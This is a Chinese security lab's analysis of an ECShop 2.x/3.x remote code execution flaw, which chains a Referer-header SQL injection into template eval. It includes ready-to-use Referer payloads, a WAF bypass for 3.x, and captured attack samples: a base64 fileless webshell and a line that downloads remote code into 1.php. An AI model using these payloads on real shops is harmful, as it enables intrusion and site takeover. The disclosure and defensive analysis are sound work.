Author: Badcode@知道創宇404實驗室
Date: 2018/09/04
背景
ECShop是一款B2C獨立網店系統,適合企業及個人快速構建個性化網上商店。系統是基于PHP語言及MYSQL數據庫構架開發的跨平臺開源程序。2018年6月13日,知道創宇404積極防御團隊通過知道創宇旗下云防御產品“創宇盾”防御攔截并捕獲到一個針對某著名區塊鏈交易所網站的攻擊,通過分析,發現攻擊者利用的正式ECShop 2.x版本的0day漏洞攻擊。于2018年6月14日,提交到知道創宇Seebug漏洞平臺并收錄。
隨后于2018年8月31日,ID為“ringk3y”研究人員在其博客公開這個漏洞,并做了詳細分析,該分析收錄在Seebug Paper。
知道創宇404積極防御團隊于2018年9月2日正式對外發布《ECShop全系列版本的遠程代碼執行漏洞》預警。
從2018年的6月13日首次攔截后,知道創宇404實驗室多個團隊對這個利用ECShop 0day攻擊事件進行持續的監控分析,從下文的分析結果可以看出一個0day漏洞在實際攻擊中的各個階段的“墮落”過程。
漏洞分析
該漏洞影響ECShop 2.x和3.x版本,是一個典型的“二次漏洞”,通過user.php文件中display()函數的模板變量可控,從而造成SQL注入漏洞,而后又通過SQL注入漏洞將惡意代碼注入到危險函數eval中,從而實現了任意代碼執行。
值得一提的是攻擊者利用的payload只適用于ECShop 2.x版本導致有部分安全分析者認為該漏洞不影響ECShop 3.x,這個是因為在3.x的版本里有引入防注入攻擊的安全代碼,通過我們分析發現該防御代碼完全可以繞過實現對ECShop 3.x的攻擊(詳見下文分析)。
注:以下代碼分析基于ECShop 2.7.3
SQL 注入漏洞
首先看到ecshop/user.php
elseif ($action == 'login')
{
if (empty($back_act))
{
if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER']))
{
$back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER'];
}
else
{
$back_act = 'user.php';
}
}
$captcha = intval($_CFG['captcha']);
if (($captcha & CAPTCHA_LOGIN) && (!($captcha & CAPTCHA_LOGIN_FAIL) || (($captcha & CAPTCHA_LOGIN_FAIL) && $_SESSION['login_fail'] > 2)) && gd_version() > 0)
{
$GLOBALS['smarty']->assign('enabled_captcha', 1);
$GLOBALS['smarty']->assign('rand', mt_rand());
}
$smarty->assign('back_act', $back_act);
$smarty->display('user_passport.dwt');
}
可以看到$back_act是從HTTP_REFERER獲取到的,HTTP_REFERER是外部可控的,這也是萬惡的根源。
接著將back_act變量傳遞給assign函數,跟進ecshop/includes/cls_template.php
/**
* 注冊變量
*
* @access public
* @param mix $tpl_var
* @param mix $value
*
* @return void
*/
function assign($tpl_var, $value = '')
{
if (is_array($tpl_var))
{
foreach ($tpl_var AS $key => $val)
{
if ($key != '')
{
$this->_var[$key] = $val;
}
}
}
else
{
if ($tpl_var != '')
{
$this->_var[$tpl_var] = $value;
}
}
}
可以從注釋了解這個函數的功能,是注冊模板變量,也就是$back_act變成了$this->_var[$back_act]=$back_act,而后調用display函數
function display($filename, $cache_id = '')
{
$this->_seterror++;
error_reporting(E_ALL ^ E_NOTICE);
$this->_checkfile = false;
$out = $this->fetch($filename, $cache_id);
if (strpos($out, $this->_echash) !== false)
{
$k = explode($this->_echash, $out);
foreach ($k AS $key => $val)
{
if (($key % 2) == 1)
{
$k[$key] = $this->insert_mod($val);
}
}
$out = implode('', $k);
}
error_reporting($this->_errorlevel);
$this->_seterror--;
echo $out;
}
從user.php調用display函數,傳遞進來的$filename是user_passport.dwt,從函數來看,首先會調用$this->fetch來處理user_passport.dwt模板文件,fetch函數中會調用$this->make_compiled來編譯模板。user_passport.dwt其中一段如下:
<td> </td>
<td align="left">
<input type="hidden" name="act" value="act_login" />
<input type="hidden" name="back_act" value="{$back_act}" />
<input type="submit" name="submit" value="" class="us_Submit" />
</td>
make_compiled會將模板中的變量解析,也就是在這個時候將上面assign中注冊到的變量$back_act傳遞進去了,解析完變量之后返回到display函數中。此時$out是解析變量后的html內容,判斷$this->_echash是否在$out中,若在,使用$this->_echash來分割內容,得到$k然后交給insert_mod處理。

由于_echash是默認的,不是隨機生成的,所以$val內容可隨意控制。跟進$this->insert_mod
function insert_mod($name) // 處理動態內容
{
list($fun, $para) = explode('|', $name);
$para = unserialize($para);
$fun = 'insert_' . $fun;
return $fun($para);
}
$val傳遞進來,先用|分割,得到$fun和$para,$para進行反序列操作,$fun和insert_拼接,最后動態調用$fun($para),函數名部分可控,參數完全可控。接下來就是尋找以insert_開頭的可利用的函數了,在ecshop/includes/lib_insert.php有一個insert_ads函數,正好滿足要求。看下insert_ads
/**
* 調用指定的廣告位的廣告
*
* @access public
* @param integer $id 廣告位ID
* @param integer $num 廣告數量
* @return string
*/
function insert_ads($arr)
{
static $static_res = NULL;
$time = gmtime();
if (!empty($arr['num']) && $arr['num'] != 1)
{
$sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' .
'p.ad_height, p.position_style, RAND() AS rnd ' .
'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '.
'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' .
"WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ".
"AND a.position_id = '" . $arr['id'] . "' " .
'ORDER BY rnd LIMIT ' . $arr['num'];
$res = $GLOBALS['db']->GetAll($sql);
}
......
$ads = array();
$position_style = '';
foreach ($res AS $row)
{
if ($row['position_id'] != $arr['id'])
{
continue;
}
$position_style = $row['position_style'];
switch ($row['media_type'])
{
......
}
$position_style = 'str:' . $position_style;
$need_cache = $GLOBALS['smarty']->caching;
$GLOBALS['smarty']->caching = false;
$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style);
$GLOBALS['smarty']->caching = $need_cache;
return $val;
}
$arr是可控的,并且會拼接到SQL語句中,這就造成了SQL注入漏洞。
根據上面的流程,可以構造出如下形式的payload
echash+fun|serialize(array("num"=>sqlpayload,"id"=>1))
實際可利用payload
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:72:"0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -";s:2:"id";i:1;}

代碼執行
繼續看insert_ads函數
$position_style = '';
foreach ($res AS $row)
{
if ($row['position_id'] != $arr['id'])
{
continue;
}
$position_style = $row['position_style'];
switch ($row['media_type'])
{
......
$position_style = 'str:' . $position_style;
$need_cache = $GLOBALS['smarty']->caching;
$GLOBALS['smarty']->caching = false;
$GLOBALS['smarty']->assign('ads', $ads);
$val = $GLOBALS['smarty']->fetch($position_style);
$GLOBALS['smarty']->caching = $need_cache;
return $val;
可以看到在SQL查詢結束之后會調用模板類的fetch方法,在user.php中調用display,然后調用fetch的時候傳入的參數是user_passport.dwt,而在此處傳入的參數是$position_style,向上溯源,發現是$row['position_style']賦值而來,也就是SQL語句查詢的結果,結果上面這個SQL注入漏洞,SQL查詢的結果可控,也就是$position_style可控。
要到$position_style = $row['position_style'];還有一個條件,就是$row['position_id']要等于$arr['id'],查詢結果可控,arr['id']同樣可控。
之后$position_style會拼接'str:'傳入fetch函數,跟進fetch
/**
* 處理模板文件
*
* @access public
* @param string $filename
* @param sting $cache_id
*
* @return sring
*/
function fetch($filename, $cache_id = '')
{
if (!$this->_seterror)
{
error_reporting(E_ALL ^ E_NOTICE);
}
$this->_seterror++;
if (strncmp($filename,'str:', 4) == 0)
{
$out = $this->_eval($this->fetch_str(substr($filename, 4)));
}
else
{
......
因為之前拼接'str:'了,所以strncmp($filename,'str:', 4) == 0為真,然后會調用危險函數$this->_eval,這就是最終觸發漏洞的點。但是參數在傳遞之前要經過fetch_str方法的處理,跟進
/**
* 處理字符串函數
*
* @access public
* @param string $source
*
* @return sring
*/
function fetch_str($source)
{
if (!defined('ECS_ADMIN'))
{
$source = $this->smarty_prefilter_preCompile($source);
}
$source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |\()/is", "", $source);
if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match))
{
$sp_match[1] = array_unique($sp_match[1]);
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);
}
for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)
{
$source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source);
}
}
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
}
第一個正則會匹配一些關鍵字,然后置空,主要看下最后一個正則
return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source);
這個正則是將捕獲到的值交于$this-select()函數處理。例如,$source的值是xxx{$abc}xxx,正則捕獲到的group 1 就是$abc,然后就會調用$this-select("$abc")。

跟進select函數
/**
* 處理{}標簽
*
* @access public
* @param string $tag
*
* @return sring
*/
function select($tag)
{
$tag = stripslashes(trim($tag));
if (empty($tag))
{
return '{}';
}
elseif ($tag{0} == '*' && substr($tag, -1) == '*') // 注釋部分
{
return '';
}
elseif ($tag{0} == '$') // 變量
{
// if(strpos($tag,"'") || strpos($tag,"]"))
// {
// return '';
// }
return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>';
}
......
當傳入的變量的第一個字符是$,會返回由 php 標簽包含變量的字符串,最終返回到_eval()危險函數內,執行。在返回之前,還調用了$this->get_var處理,跟進get_var
/**
* 處理smarty標簽中的變量標簽
*
* @access public
* @param string $val
*
* @return bool
*/
function get_val($val)
{
if (strrpos($val, '[') !== false)
{
$val = preg_replace("/\[([^\[\]]*)\]/eis", "'.'.str_replace('$','\$','\\1')", $val);
}
if (strrpos($val, '|') !== false)
{
$moddb = explode('|', $val);
$val = array_shift($moddb);
}
if (empty($val))
{
return '';
}
if (strpos($val, '.$') !== false)
{
$all = explode('.$', $val);
foreach ($all AS $key => $val)
{
$all[$key] = $key == 0 ? $this->make_var($val) : '['. $this->make_var($val) . ']';
}
$p = implode('', $all);
}
else
{
$p = $this->make_var($val);
}
當傳入的變量沒有.$時,調用$this->make_var,跟進make_var
/**
* 處理去掉$的字符串
*
* @access public
* @param string $val
*
* @return bool
*/
function make_var($val)
{
if (strrpos($val, '.') === false)
{
if (isset($this->_var[$val]) && isset($this->_patchstack[$val]))
{
$val = $this->_patchstack[$val];
}
$p = '$this->_var[\'' . $val . '\']';
}
else
{
.....
在這里結合select函數里面的語句來看,<?php echo $this->_var[' $val '];?>,要成功執行代碼的話,$val必須要把['閉合,所以payload構造,從下往上構造,$val為abc'];echo phpinfo();//;從select函數進入get_var的條件是第一個字符是$,所以payload變成了$abc'];echo phpinfo();//;而要進入到select,需要被捕獲,payload變成了{$abc'];echo phpinfo();//},這里因為payload的是phpinfo(),這里會被fetch_str函數的第一個正則匹配到,需要變換一下,所以payload變為{$abc'];echo phpinfo/**/();//},到這里為止,php 惡意代碼就構造完成了。
接下來就是把構造好的代碼通過SQL注入漏洞傳給$position_style。
這里可以用union select 來控制查詢的結果,根據之前的流程,$row['position_id']和$arr['id']要相等,$row['position_id']是第二列的結果,$position_style是第九列的結果。$arr['id']傳入' /*,$arr['num']傳入*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -,0x27202f2a是' /*的16進制值,也就是$row['position_id']的值,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d是上面構造的php代碼的16進制值,也就是$position_style。

結合之前的SQL漏洞的payload構造,所以最終的payload的是
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:110:"*/ union select 1,0x27202f2a,3,4,5,6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10-- -";s:2:"id";s:4:"' /*";}554fcae493e564ee0dc75bdf2ebf94ca

可以看到成功的執行了phpinfo()。
ECShop 3.x 繞過
上述的測試環境都是2.7.3的,理論上打2.x都沒問題,而在3.x上是不行的,原因是3.x自帶了個WAF(ecshop/includes/safety.php),對所有傳入的參數都做了檢測,按照上面構造的 payload ,union select 會觸發SQL注入的檢測規則,有興趣的可以去繞繞,我沒繞過。。
下面的測試版本為ECshop3.0,3.x版本的echash是45ea207d7a2b68c49582d2d22adf953a。
上面說了 insert_ads 函數存在注入,并且有兩個可控點,$arr['id']和$arr['num'],可以將union select通過兩個參數傳遞進去,一個參數傳遞一個關鍵字,中間的可以使用/**/注釋掉,這樣就不會觸發WAF。

實際攻擊分析
上文提到該漏洞最早由知道創宇404積極防御團隊通過知道創宇旗下云防御產品“創宇盾”在2018年6月13日攔截并捕獲,隨后針對這個漏洞的攻擊情況做了詳細的監控及跟進:
第一階:0day在野之“APT攻擊” (2018年6月13日)
首次捕獲到 2.x 的 payload 是被用來攻擊某區塊鏈交易所網站,因此我們高度懷疑攻擊者是用 0day 來攻擊區塊鏈交易所的 apt團隊。樣本中 payload 通過HTTP 請求頭的Referer字段植入,如下

把捕獲的 payload 轉碼出來看
Referer: http://www.noxxx.com/554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:2:"id";s:3:"'/*";s:3:"num";S:216:"*/UNION select 1,0x272f2a,3,4,5,6,7,8,0x7b2461275d3b617373657274286261736536345f6465636f64652827514556575155776f596d467a5a5459305832526c5932396b5a53676b58314250553152624a303576654364644b536b372729293b24615b27317d,10#";}554fcae493e564ee0dc75bdf2ebf94ca
惡意代碼
{$a'];assert(base64_decode('QEVWQUwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ05veCddKSk7'));$a['1}
base64部分的內容是
@EVAL(base64_decode($_POST['Nox']));
可以看到,沒有寫入 webshell,而是直接接收$_POST['Nox']參數,進行base64解碼后直接傳入eval函數執行代碼,相當于一個無文件的 webshell ,非常隱蔽。

本次攻擊是由一個日本ip(35.200.*.*)發起,通過攻擊的手法及使用的paylaod等情況來看,并直接了當地用來攻擊某著名區塊鏈交易所,我們高度懷疑是目的性非常明確的“APT攻擊”。
第二階:0day在野之“黑產攻擊” (2018年8月)
在隨后整個7月都沒有出現利用該漏洞攻擊的記錄直到8月初,在整個8月攔截捕獲該0day漏洞攻擊記錄10余次,攻擊者使用的 payload 都相同,且都是一個菲律賓IP(180.191.*.*)發起的攻擊。如下:
554fcae493e564ee0dc75bdf2ebf94caads|a:3:{s:3:"num";s:314:"/<SP>union<SP>select<SP>1,0x272f2a,3,4,5,6,7,8,0x7B247B24686F6D65275D3B617373657274286261736536345F6465636F646528275A6D6C735A56397764585266593239756447567564484D6F4A7A4575634768774A79786D6157786C5832646C6446396A623235305A5735306379676E6148523063446F764C33566C5A5335745A53394E636B706A4A796B704F773D3D2729293B2F2F7D7D,10--<SP>-";s:2:"id";s:3:"'/";s:4:"name";s:3:"ads";}554fcae493e564ee0dc75bdf2ebf94ca
// file_put_contents('1.php',file_get_contents('http://uee.me/MrJc'));和這篇分析文章里捕獲到的樣本一致。
從整個8月攔截的10余次攻擊目標,payload等手法來看,我們認為極有可能該0day漏洞已經被流入到“高端黑產”團隊,并進行了批量自動化攻擊。
第三階:0day曝光之“瘋狂攻擊” (2018年8月31日后)
在2018年8月31日漏洞細節被公開之后,攻擊數量開始增加,捕獲到的 payload 也變的多種多樣,漏洞被廣泛利用。

從這些人使用的攻擊目標、手法及payload(攻擊使用的payload仍然只適用于2.x版本,目前為止沒有看到使用針對3.x payload攻擊)等情況來看,考慮大量的“低端黑產”玩家開始加入進來,繼續“瘋狂”的抓雞行動中,榨干這個漏洞的最后一滴“油水”...
漏洞影響范圍及修復
根據ZoomEye網絡空間搜索引擎對ECShop關鍵字的搜索結果,共找到42400 條歷史記錄。

漏洞修復
目前我們分析下載最新版的ECShop 4.0里對這個漏洞進行修復:
看到ecshop4/ecshop/includes/lib_insert.php

可以看到,將傳遞進來的$arr[id]和$arr[num]強制轉換成整型,這樣就沒法利用這個漏洞了。
另外我們注意到官方并沒有發布針對老版本的(2.x和3.x)的獨立修復補丁,相關老版本的用戶可參考ECShop 4.0代碼來修復或者直接升級到ECShop 4.0。
小結
本次ECShop這個漏洞挖掘到漏洞利用非常有技術含量,可以算是一個經典的“二次漏洞”案例,從一個SQL注入漏洞最后完美實現轉變為代碼執行漏洞。另外從這個漏洞在野外實際利用的過程,也非常的“經典”,完美重現了一個0day漏洞被挖掘利用轉變為“武器”后的完美歷程:從被用來目標明確的“定向攻擊”,再到“黑產”高端玩家,直到最后在曝光后淪為黑產“抓雞”工具的“墮落” ...
感謝我們404實驗室各團隊小伙伴的努力~~ 我愛你們~~
參考鏈接
- ecshop2.x代碼執行
- ECShop全系列版本遠程代碼執行高危漏洞分析
- ecshop 2.7.3 代碼執行漏洞
- ZoomEye 搜索結果
- 安全預警| ECShop全系列版本遠程代碼執行高危漏洞 創宇盾無需升級即可防御
- 二次漏洞
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/695/